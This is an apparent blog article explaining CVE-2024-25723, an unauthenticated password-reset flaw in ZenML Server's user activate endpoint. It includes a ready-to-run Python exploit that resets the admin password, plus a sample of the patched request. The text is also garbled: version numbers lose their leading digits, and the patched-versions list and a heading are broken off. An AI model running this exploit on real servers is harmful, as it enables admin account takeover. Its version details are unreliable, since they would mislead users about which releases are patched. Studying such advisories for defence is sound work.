ZenML has quickly become a popular tool for machine learning pipelines, but security sometimes takes a backseat in fast-moving open source projects. CVE-2024-25723 is a serious vulnerability affecting ZenML Server in versions before .46.7, as well as prior to .44.4, .43.1, and .42.2. This bug could let a remote attacker get admin access, simply by knowing a valid username and choosing a new password.
Understanding the details of this vulnerability is critical if you’re using ZenML in your ML workflows. In this article, I’ll explain what went wrong, show a code example that re-creates the issue, demonstrate an exploit, and walk you through the patched solution. For reference, links to the CVE and GitHub issues are provided at the end.
What is ZenML and ZenML Server?
ZenML is a Python library that helps organize model pipelines for Machine Learning (ML) and MLOps. The ZenML Server is a REST API service that handles user authentication, workflows, and artifact storage.
Many teams deploy ZenML Server in shared environments, where access control is crucial.
## The Vulnerability: /api/v1/users/{user_name_or_id}/activate Endpoint
The ZenML Server exposes a REST endpoint
POST /api/v1/users/{user_name_or_id}/activate
The intention behind this endpoint is to let users finalize their registration by setting a new password after being invited. But in the affected versions, anyone with a valid username or user ID could hit this endpoint and reset the user’s password—even for admin users.
In other words, the endpoint does not require an activation token, email confirmation, or any other secret except knowing the username or user id.
Gain access at the privilege level of that user (possibly administrator)
If your ZenML Server was internet-accessible and used default names like "admin", you were especially at risk!
A simple exploit in Python using requests
import requests
ZENML_URL = "http://zenml-server.example.com";
USERNAME = "admin"
NEW_PASSWORD = "pwned123"
def exploit_reset_admin():
url = f"{ZENML_URL}/api/v1/users/{USERNAME}/activate"
data = {"password": NEW_PASSWORD}
resp = requests.post(url, json=data)
if resp.status_code == 200:
print("Password reset for admin successfully!")
else:
print("Exploit failed:", resp.status_code, resp.text)
if __name__ == "__main__":
exploit_reset_admin()
If the server is vulnerable, you’ve now reset the password for admin and can sign in as admin with pwned123.
.42.2 (for .42 branch)
In these releases, the activate endpoint only works if a valid activation token (from a user invite or email) is provided:
Patched Request Example
POST /api/v1/users/admin/activate
{
"activation_token": "ABC123-EXAMPLETOKEN",
"password": "newpassword"
}
Without the right token, the API returns 401 Unauthorized.
References
- ZenML Security Advisory
- CVE Entry (CVE-2024-25723)
- Patch Commit for Activate Endpoint
- Release notes for ZenML .46.7
Final Thoughts
The CVE-2024-25723 bug in ZenML Server is a reminder that security oversights, especially around authentication, have big consequences even for popular machine learning tools. Always restrict server access and be quick to patch when security updates arrive.
Timeline
Published on: 02/27/2024 15:15:07 UTC
Last modified on: 08/01/2024 13:47:49 UTC